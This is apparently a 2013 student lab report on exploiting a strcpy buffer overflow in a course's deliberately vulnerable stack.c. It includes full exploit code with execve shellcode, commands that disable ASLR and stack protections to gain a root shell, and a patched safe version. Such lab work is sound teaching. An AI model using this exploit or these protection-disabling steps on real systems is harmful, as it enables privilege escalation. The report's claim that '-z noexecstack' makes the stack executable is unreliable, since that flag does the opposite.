Year and Semester:	2013 FALL
Course Number:	CS-336
Course Title:	Intro. to Information Assurance
Work Number:	LA-01
Work Name:	Buffer Overflow Shell
Work Version:	Version 1
Long Date:	Sunday, 6 October 2013
Author Name:	Shea Newt, Andrew Schwartzmeyer

Abstract

Text

The purpose of this report is to detail the process of exploiting a buffer overflow to gain unauthorized access to a system. The vulnerability that allowed the exploit detailed in this report was due to a call to the C function ‘strcpy’ that does not check the bounds of the variable it is copying into.

Problem and Background

The vulnerability being studied is that of a buffer overflow, which is where a program accidentally allows the writing of data past the memory allocated for a buffer. If the data to be written is supplied by an external user, a malicious person can craft the input in such a way as to alter the flow of a program, and even execute arbitrary code through the program. This type of vulnerability is introduced through unsafe programming, and is especially prevalent in C and C++ programs because of various built-in string manipulation functions that do not perform bound checking. The vulnerability exists because the same memory is used to store both data (which can be alterable by a user) and program control (such as return addresses on the stack). It is important to study buffer overflows because introducing them into a program accidentally as a programmer is easy, but they are preventable if the programmer understands their causes.

Problem Detail

For this particular lab, we are studying the vulnerability of a provided C source code file, *stack.c*. This file consists of two functions: “int main(int argc, char **argv)”, and “int bof(char *str)”. The former first allocates an array of 517 chars called “str”, and reads 517 chars of input from a file *badfile* into the “str” buffer. It then passes this “str” buffer as the first argument in the function call to “bof”. This latter function starts by allocating a buffer of 12 chars called “buffer”, then calls the C built-in (from string.h) function “strcpy” with the arguments “buffer” and “str”, and finally returns 1. After “bof” returns to “main”, “main” returns 1 to the process that began the program’s execution.

The vulnerability in *stack.c* occurs at the “strcpy” operation in the “bof” function. As noted previously, “strcpy” does not perform any sort of bounds checking, which means that if given source data that is larger than the destination’s memory space, it will continue to write past the destination’s allocated memory until its source string ends with a null character. Since the source string is 517 bytes long, and the destination buffer is 12 bytes long, this results in “strcpy” overflowing the buffer and writing into unprotected data.

A malicious user, us in the case of this lab, can use this buffer overflow as an attack vector by overwriting the return pointer’s address to one of our own choosing. Using badfile as our input, we can write 517 bytes of whatever we would like into the program’s memory space. By including in this input a new memory address for the return pointer that jumps into a nop slide that leads to assembly code to call a shell, we can open for ourselves through the execution of *stack.c* a shell on the machine allowing for arbitrary command execution. This happens because the program, by design, will eventually transfer control of execution “back” to the memory address of the return pointer (which, if unchanged, would point the next instruction in the calling function). Additionally, if the *stack.c* program was compiled by the root account, and therefore has the set-root-uid bit set, we can gain root shell access, even when running the compiled program as a non-root user.

Tasks

The first task for this lab is to setup the target machine in such a way that it is more easily susceptible to this buffer overflow attack. As buffer overflows have been a prevalent problem since at least the beginning of the C programming language, modern operating systems have safeguards in place to protect against our attack vector.

The Linux kernel (version 2.6.38-8-generic) in the Ubuntu machine we are using for this lab by default randomizes the heap and stack's starting memory addresses, in order to make guessing them more difficult. The address randomization can be disabled by executing the command "sysctl -w kernel.randomize_va_space=0" as root. Additionally, many shells, such as bash, drop privileges when invoked to prevent a set-root-uid program from launching a root shell. In some versions of Ubuntu, /bin/sh symlinks to bash, which would need to be changed to symlink to zsh; however, in the Ubuntu 11.04 VM we were provided, /bin/sh is symlinked to dash. After some testing, dash does not drop privileges, and does allow us to open a root shell from a user executed program. (Du 1).

Another safeguard against our attack vector, aptly named "StackGuard" is implemented by the GCC compiler (Du 2). This protection, when enabled, adds a special memory location to the stack layout (called the canary), that must be verified before control is passed to any address on the stack. This canary, if overwritten by, say, our buffer overflow, will fail verification, alerting the system that further stack values are not to be trusted (and generally ceasing further execution of the program) (Wagle 1).This safeguard is disabled by passing the "-fno-stack-protector" flag to GCC when compiling *stack.c* (Du 2).

Modern Linux distributions, such as Ubuntu 11.04, also require that a program's stack be marked either executable or not, the latter of which being safer, and therefore default. With the stack marked non-executable, arbitrary code (such as ours) will not be executed (the original program code is in the read-only code/text data space). To mark the stack executable, *stack.c* must be compiled with the option "-z noexecstack" (Du 3).

With the necessary safeguards disabled, the next task is to create the “shellcode”, that is, the exploit code which will launch our shell. Since we cannot embed regular C code (as it must be compiled), we instead can string together the hexadecimal representation of the assembly instructions necessary to launch the shell. This shellcode is provided for us by the lab instructions. The code amounts to declaring an array of two string pointers, filling it with “/bin/sh” and “NULL” respectively, and then making the system call “execve” with the arguments “name[0], name, NULL”, which essentially tells the system to launch “/bin/sh” (which, as pointed out above, is symlinked to dash).

If we want to gain root shell access, the next step is to compile *stack.c* in such a way that it is set-root-uid, or in other words, that it runs as root when executed, regardless of the calling user. This is accomplished by compiling it as the root user (Du 6).

Our next task for this lab is develop the rest of the code in the file *exploit.c*. The code needing to be written is that which fills a 517-char sized buffer with the necessary values that will exploit *stack.c*. The provided code will then write the buffer to *badfile* (from which *stack.c* reads). The provided code also already initializes the buffer with nop instructions for us. We need to craft the buffer in such a way that when it overwrites the 12-char sized one in the “bof” function of *stack.c*, it puts an address of any of our nop instructions in the location of the return pointer, and has our assembly instructions following the nop slide, and terminated by a null character.

The nop slide, while not strictly necessary, makes guessing the appropriate new address far easier, as we only have to guess until we have hit an address in the range of the nop instructions, of which there are hundreds. The instruction “nop” means “no operation”: it is essentially a wait for the processor. A “nop slide” is a series of these that get executed sequentially, and in our case is then followed by our exploit assembly instructions. Our assembly code must be followed by a null character, as it is being injected via the “strcpy” function, which only quits when it receives said null character.

To guess the appropriate new address, we use the convenient fact that we have turned off address randomization. Now, in *exploit.c*, we can use a function we have defined, “unsigned long get_sp(void)”, which executes the assembly instruction “movl %esp, %eax”, and returns to us the memory address of “esp”, or the extended stack pointer (it is “extended” because on 32-bit Intel architecture, this is used to differentiate the register from the former 16-bit stack pointer register) (Seacord 38).

Although this instruction is executed in *exploit*, the stack pointer address will be similar, if not the same for *stack*, because of the lack of address randomization. Once we have the stack pointer’s address, we simply need to guess an appropriate offset from it, that is, how far away “bof’s” buffer allocation begins from the stack. Since the buffer contains the nop slide, this offset does not need to be guessed exactly, but simply land us in the range of the slide. We are using an offset value of 500. Furthermore, since we have access to *stack’s* source code, we can manually see about how many bytes away it is (and if we did not, we could deduce this information by debugging *stack* in execution).

With a new address for the return pointer in hand, we need to inject it into the return pointer’s memory location, which means placing it appropriately in the buffer so that its location in memory coincides with where the return pointer will be located. We can deduce this location by examining Linux’s process stack layout and the source code in *stack.c*, thus figuring out that the return pointer address is probably 20 bytes (five 4-byte words) away from “bof’s” buffer. This 20 bytes comes from the fact that the buffer is allocated 3 words (for its 12 chars), followed by the frame pointer address (the fourth word), finally followed by the return pointer address (the fifth word). However, we do not need to know this exactly, as instead we can just fill each word starting at the beginning of the buffer with our chosen address, for say, the first 16 words. This should more than adequately cover the return pointer, and indeed it does.

Finally, with the new address placed appropriately, we simply copy our shellcode into the very end of the buffer we are creating in *exploit.c*, and follow it with a null character. This is a simple loop, and we find the appropriate place to begin by subtracting the size of the array holding our shellcode, plus one to account for the terminating null character, from the size of the buffer we are constructing. Once properly copied and null terminated, we compile *exploit.c* and let *exploit* write the buffer to *badfile*, and then run the appropriately compiled *stack* program. When done correctly, *stack* will launch a new shell for us, complete with root access because of its set-root-uid attribute.

Answers

2.7 Task 3: Address Randomization

“Now, we turn on the Ubuntu’s address randomization. We run the same attack developed in Task 1. Can you get a shell? If not, what is the problem? How does the address randomization make your attacks difficult?” (Du 7)

After re-enabling Ubuntu’s address randomization the exploit causes stack.c to generally report segmentation faults. This randomization makes our attack more difficult because we have no easy way of determining where in memory we need to target. In order to exploit the program with randomization turned off, we were able to use the knowledge gained from the Aleph One paper "Smashing the Stack for Fun and Profit" [4] to make an educated guess about where to target by looking at the stack pointer. This is not the case with randomization enabled.

We were unable to get to a shell with randomization enabled though as the lab document suggests, chances are that running the stack executable over and over again would eventually get us to the shell. (Du 7)

2.8 Task 4: Stack Guard

“In this task … compile the program without the -fno-stack-protector’ option. For this task, you will recompile the vulnerable program, stack.c, to use GCC’s Stack Guard, execute task 1 again, and report your observations.” (Du 7)

With the “StackGuard” protection mechanism enabled in GCC, running the vulnerable stack program reports “*** stack smashing detected ***: ./stack terminated.”

As detailed earlier in the report, “StackGuard” adds a canary to the stack that gets overwritten by our buffer overflow exploit. Because the canary was overwritten, verification failed, the system was alerted not to trust further stack values and the program was terminated.

2.9 Task 5: Non-executable Stack

“This task is only for those who use our Ubuntu 11.04 VM. In our previous tasks, we intentionally make stacks executable. In this task, we recompile our vulnerable program using the noexecstack option, and repeat the attack in Task 1. Can you get a shell? If not, what is the problem? How does this protection scheme make your attacks difficult.” (Du 8)

We were unable to get to the shell after marking the stack non-executable. Instead, executing the stack program resulted in program terminated with a segmentation fault.

Non-executable stacks are, according to Seacord, “a runtime solution to buffer overflows...designed to prevent executable code from running in the stack segment” (Seacord 113). Because our exploit depends on an eventual execve() function call to execute in the stack, a non-executable stack represents one remedy or solution to the vulnerability evident in stack.c (Du 8).

Code

Here we present the fully commented code from our lab work. For readability purposes, the font-size of the code has been shrunk from 14-point to 10-point. First, the vulnerable *stack.c* with the vulnerability underlined:

```
/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    /* buffer here is allocated 12 bytes of memory by the compiler */
    char buffer[12];

    /* The following statement has a buffer overflow problem */
    /* strcpy is a vulnerable function because it does not do any
       bounds checking, instead it will copy the entire second argument
       into the address space of the first argument, overwriting
       anything past the first argument's allocated memory. */
    strcpy(buffer, str);

    /* initially find the address of buffer to help with deducing where we are */
    /* printf("buffer: 0x%x\n", buffer); */

    /* This return pointer is allocated in the stack, 16 bytes past
       the beginning of buffer (plus another 4 bytes with the addition
       of int x), and can therefore be overwritten.  Since it is a
       return pointer, at the end of bof, this program will transfer
       control back to the address pointed by return. If overwritten,
       we can abuse this to transfer control to wherever we would
       like: say our shellcode (or the nop sled before it). */
    return 1;
}

int main(int argc, char **argv)
{

    char str[517];

    /* print out address of str for debugging purposes */
    /* printf("str: 0x%x\n", str); */

    /* This program grabs unsanitized input from a file called
```

```
       badfile, which we can fill with exploit code */
    FILE *badfile;
    badfile = fopen("badfile", "r");
    /* Notice that it reads 517 bytes of badfile into str, and sends
       str to bof, which copies it into buffer, which is only 12 bytes
       long. strcpy doesn't care and will continue past the buffer's
       bounds */
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}
```

Next we present our exploit code, *exploit.c*:

```
/* exploit.c  */

/* A program that creates a file containing code for launching shell */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdql                           */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

/* Function that calls an assembly instruction
   to return the address of the top of the stack  */
unsigned long get_sp(void)
{
    __asm__("movl %esp,%eax");
}

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
```

```c
int i = 0;

/* Pointer to buffer */
char *ptr;

/* Long int to handle a succession of retptr addresses */
long *addrptr;

/* Address to land us in stack.c's bof function
   in order to overwrite the return and send us to the exploit */
long retaddr;

/* num is a position int, used to place shellcode plus null at end of buffer */
int num = sizeof(buffer) - (sizeof(shellcode) + 1);

/* argv was used as an attempt to guess the stack pointer offset
   at runtime. This approach was not successful, it drastically
   changes the address of the return we want to overwrite in stack.c */

/* offset = argv[1]; */

/* Grab the address of the start of buffer */
ptr = buffer;

/* Cast the address into a long int */
addrptr = (long*)(ptr);

/* printf("buffaddr: %11x\n", get_buffaddr(buffer)); */

/* This address refers to an address inside of
   stack.c's bof function. The address was determined as a
   result of initializing x to 0 in stack.'s bif function and
   printing its address with a printf statement */

/* retaddr = 0xbffff362; */

/* Alternative, correct approach that required us taking an educated
   guess at what the offset should be in order to land in stack.c's
   bof function. */
retaddr = get_sp() + 500;

/* Fill the first 20 words of the buffer with retaddr */
for (i = 0; i < 20; i++)
  *(addrptr++) = retaddr;

/* Fill the end of buffer with our shellcode */
for (i = 0; i < sizeof(shellcode); i++)
  buffer[num + i] = shellcode[i];

/* Null terminate our shellcode at end of buffer */
buffer[sizeof(buffer) - 1] = '\0';

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
```

```
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}
```

Finally, we present a safer version of *stack.c*, *safe-stack.c*, with the necessary change underlined:

```
/* safe-stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

    /* The following statement had a buffer overflow problem, we fixed
       it by using the function strncpy, which can be supplied with a
       third argument which limits the number of bytes it copies from
       the second argument into the first. By supplying
       sizeof(buffer), we can ensure that the memory past buffer does
       not get overwritten (preventing our previous exploit). Note,
       however, that this is not perfect, and leads to loss of data
       from str (string truncation). Although we now have no data
       integrity, at least we are not letting a malicious user gain
       shell access through our program. */
    strncpy(buffer, str, sizeof(buffer));

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}
```

References

[1] Du, Wenliang. 2006-2013. “Buffer Overflow Vulnerability Lab”. http://www.cis.syr.edu/~wedu/seed/Labs_11.04/Vulnerability/Buffer_Overflow/

[2] Seacord, Robert. 2005. “Secure Coding in C and C++”.

[3] Wagle, Perry. “StackGuard: Simple Stack Smash Protection for GCC”. http://gd.tuwien.ac.at/gnu/gcc/summit/2003/Stackguard.pdf

[4] Aleph One. "Smashing the Stack for Fun and Profit." Phrack Magazine7, 49 (1996): File 14 of 16. http://insecure.org/stf/smashstack.html